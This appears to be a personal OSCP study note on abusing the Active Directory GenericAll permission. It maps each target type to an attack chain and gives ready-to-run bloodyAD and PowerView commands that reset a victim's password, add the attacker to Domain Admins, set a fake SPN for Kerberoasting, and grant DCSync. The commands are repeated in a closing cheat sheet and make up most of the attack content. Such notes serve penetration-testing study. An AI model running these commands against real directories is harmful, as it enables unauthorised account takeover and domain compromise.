Pearson's OSCP Notebook

GenericAll

Properties2
tagsgenericall, ad-permissions, acl-abuse, bloodhound, dacl
aliasesGenericAll

3 min read

GenericAll — AD Permission Abuse

Ctrl+F: GenericAll · full control · add genericAll

GenericAll = full control over the target object. BloodHound shows it as one of the strongest ACL edges.

Owned User
   │
GenericAll
   ▼
Target (User / Group / Computer / OU / Domain)

Your first thought:

“I own this object — what is it?” User → become them. Group → add yourself. Computer → RBCD. Domain → rare — treat like total domain object control.

📌 Target object → exploit chain

TargetWhat to doFull commands in
UserReset password → become userForceChangePassword · bloodyAD > set password
UserShadow credentials → NT hashShadow Credentials - pywhisker · bloodyAD > add shadowCredentials
UserAdd SPN → KerberoastKerberoast · bloodyAD > set object (SPN)
Group (DA, etc.)Add yourself to groupAddMember · bloodyAD > add groupMember
ComputerRBCD → impersonate admin on hostbloodyAD > add rbcd · Kerberos Scripts getST
OUCreate users / move objectsbloodyAD > add user
DomainGrant DCSync / GenericAll to selfWriteDacl path · bloodyAD > add dcsync

📌 Execute — Linux (bloodyAD)

# Writable targets
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' get writable
 
# Grant GenericAll to yourself on object (when you have WriteDacl)
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add genericAll "Domain Admins" user
 
# Reset victim password (GenericAll on user)
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' set password victim 'NewPass123!'
 
# Join privileged group (GenericAll on group)
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add groupMember "Domain Admins" user

→ Full reference: bloodyAD > 📌 3) add — Privilege Escalation Actions

📌 Execute — Windows (PowerView)

Import-Module .\PowerView.ps1
 
# Reset password (user target)
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass1!' -AsPlainText -Force)
 
# Add to group (group target)
Add-DomainGroupMember -Identity "Domain Admins" -Members "jsmith"
net group "Domain Admins" jsmith /add /domain
 
# Set SPN for Kerberoast
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/spn'}

→ PowerView > 📌 5) ACL / Permission Abuse · Bloodhound + Sharphound > 📌 9) ACL Abuse — How to Exploit Common Edges

📌 vs GenericWrite

GenericAll is strictly stronger. If you only have GenericWrite, you cannot reset passwords the same way — use shadow creds, SPN, RBCD, UAC flags instead.

📌 Quick cheat sheet

bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' set password victim 'NewPass123!'
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add groupMember "Domain Admins" user
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass1!' -AsPlainText -Force)
Add-DomainGroupMember -Identity "Domain Admins" -Members jsmith

Graph View

Backlinks